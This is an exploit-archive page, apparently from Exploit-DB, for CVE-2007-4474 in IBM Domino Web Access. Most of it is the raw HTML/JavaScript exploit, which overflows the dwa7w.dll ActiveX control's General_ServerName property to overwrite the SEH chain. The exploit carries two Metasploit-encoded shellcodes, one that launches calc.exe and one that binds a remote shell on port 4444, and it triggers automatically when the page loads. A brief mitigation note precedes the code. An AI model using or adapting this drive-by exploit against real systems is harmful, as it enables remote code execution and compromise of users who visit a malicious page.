IBM Domino Web Access Upload Module dwa7w.dll SEH Overwrite Exploit

vendor:

IBM Domino

by:

e.b.

7.5

CVSS

HIGH

SEH Overwrite

119

CWE

Product Name: IBM Domino

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: NO

Related CWE: CVE-2007-4474

CPE: a:ibm:domino

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP2 (fully patched) English, IE6

2007

IBM Domino Web Access Upload Module dwa7w.dll SEH Overwrite Exploit

This exploit targets the IBM Domino Web Access Upload Module dwa7w.dll and takes advantage of a SEH (Structured Exception Handling) overwrite vulnerability. It allows an attacker to execute arbitrary code on a vulnerable system.

Mitigation:

To mitigate this vulnerability, apply the latest patches and updates from the vendor. Additionally, restrict access to the affected module and implement strong access controls.

Source

Exploit-DB raw data:

<!-- 
written by e.b. 
IBM Domino Web Access Upload Module dwa7w.dll SEH Overwrite Exploit
CVE-2007-4474
Tested on Windows XP SP2(fully patched) English, IE6, dwa7w.dll version 7.0.34.1
Thanks to h.d.m. and the Metasploit crew 
-->
<html>
 <head>
  <title>IBM Domino Web Access Upload Module dwa7w.dll SEH Overwrite Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
     
     var buf = unescape("%u4141"); 
     while (buf.length <= 2461) buf = buf + unescape("%u4141");


// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com 
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                          "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                          "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                          "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                          "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                          "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                          "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                          "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                          "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                          "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                          "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                          "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                          "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                          "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                          "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                          "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                          "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                          "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                          "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                          "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                          "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                          "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                          "%u314e%u7475%u7038%u7765%u4370");

// win32_bind -  EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com 
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" +
                          "%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" +
                          "%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" +
                          "%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" +
                          "%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c" +
                          "%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f" +
                          "%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b" +
                          "%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c" +
                          "%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31" +
                          "%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35" +
                          "%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b" +
                          "%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663" +
                          "%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733" +
                          "%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470" +
                          "%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358" +
                          "%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f" +
                          "%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458" +
                          "%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58" +
                          "%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f" +
                          "%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275" +
                          "%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45" +
                          "%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033" +
                          "%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046" +
                          "%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035" +
                          "%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036" +
                          "%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64" +
                          "%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35" +
                          "%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67" +
                          "%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30" +
                          "%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f" +
                          "%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246" +
                          "%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139" +
                          "%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652" +
                          "%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e" +
                          "%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b" +
                          "%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075" +
                          "%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251" +
                          "%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f" +
                          "%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f" +
                          "%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b" +
                          "%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952" +
                          "%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73" +
                          "%u684f%u3956%u386f%u4350");


		var next_seh_pointer = unescape("%u06EB%u9090"); //2 byte jump
		
		//oleacc.dll Windows XP SP2 English 0x74C96950 pop ebp - pop - retbis
    		//no SafeSEH
		var seh_handler = unescape("%u6950%u74C9"); 
	
		var nop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090");

		var m = buf + next_seh_pointer + seh_handler + nop + shellcode1 + nop;
		
		obj.General_ServerName = m;
    		obj.InstallBrowserHelperDll();

   } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:E008A543-CEFB-4559-912F-C27C2B89F13B">
     Unable to create object
    </object>
 </body>
</html>

# milw0rm.com [2007-12-30]